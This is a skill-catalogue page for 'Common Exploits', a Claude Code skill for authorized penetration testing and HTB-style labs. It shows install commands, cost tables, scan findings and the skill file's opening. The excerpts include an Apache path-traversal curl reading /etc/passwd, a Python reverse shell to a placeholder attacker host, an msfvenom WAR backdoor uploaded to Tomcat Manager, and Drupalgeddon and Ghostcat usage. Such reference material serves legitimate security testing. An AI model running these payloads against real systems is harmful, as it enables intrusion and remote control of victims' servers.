What is Common Exploits?

A security-testing reference for common software vulnerabilities, CVEs, and attack techniques found in services and web applications. A CVE is a public identifier for a specific security flaw.

Use it during authorized assessments to search exploit databases, review known Apache and Tomcat issues, and examine techniques such as path traversal or reverse shells.

It collects search, inspection, and example commands for finding relevant exploits without researching each service from scratch.

Common Exploits — Skill for Claude Code by allsmog

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add allsmog/blackbox-claude-plugin --skill common-exploits

Clone the repo

git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/common-exploits.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/common-exploits)

Your own site

<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/common-exploits"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/common-exploits.svg" alt="Measured on agentmods" height="20"></a>

Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 2,069 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00053	$0.02069
Opus 5	$0.00026	$0.01035
Sonnet 5	$0.00011	$0.00414
Haiku 4.5	$0.00005	$0.00207

Measured 8d ago against content hash 1e9e9bbf02bd, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

Common Exploits scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

blackbox-htb/skills/common-exploits/SKILL.md · 319 lines

How it starts

The opening of the file, as written. The whole thing — 319 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Common Exploits Skill

Overview

Reference for common exploits, CVEs, and attack techniques encountered in HTB machines.

Searchsploit

Basic Usage

# Search by name
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit vsftpd 2.3.4

# Search with filters
searchsploit -t apache  # Title only
searchsploit -e apache  # Exact match

# Copy exploit
searchsploit -m 12345  # Copy by ID
searchsploit -m exploits/linux/remote/12345.py

# Examine exploit
searchsploit -x 12345

# Update database
searchsploit -u

Web Application Exploits

Apache

Version	CVE	Vulnerability
2.4.49-50	CVE-2021-41773/42013	Path Traversal / RCE
mod_proxy	CVE-2021-40438	SSRF

CVE-2021-41773 (Path Traversal):

# Read files
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

# RCE (if mod_cgi enabled)
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash' \
    -d 'echo; id'

Tomcat

Version	CVE	Vulnerability
< 9.0.31	CVE-2020-1938	Ghostcat (AJP)
7.0.0-7.0.79	CVE-2017-12615	PUT RCE

Ghostcat (AJP Port 8009):

# Read WEB-INF/web.xml
python ajpShooter.py http://<TARGET>:8080 8009 /WEB-INF/web.xml read

Tomcat Manager (if creds found):

# Deploy WAR backdoor
msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
curl -u 'tomcat:password' --upload-file shell.war http://<TARGET>/manager/text/deploy?path=/shell
curl http://<TARGET>/shell/

WordPress

# WPScan for vulnerabilities
wpscan --url http://<TARGET> -e vp,vt,u --api-token <TOKEN>

# Common vulnerable plugins (check version)
# - Contact Form 7
# - Elementor
# - WooCommerce
# - Yoast SEO

Drupal

Version	CVE	Vulnerability
7.x < 7.58	CVE-2018-7600	Drupalgeddon 2 (RCE)
8.x < 8.5.1	CVE-2018-7600	Drupalgeddon 2 (RCE)

Drupalgeddon 2:

# Use script from GitHub
python drupalgeddon2.py http://<TARGET>

Read the full file on GitHub · 319 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

8d ago First seen · 319 lines · 53 tokens per session scan A 1e9e9bbf02bd

Subscribe to this mod's changes

Common Exploits is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 53 tokens to every session and 2,069 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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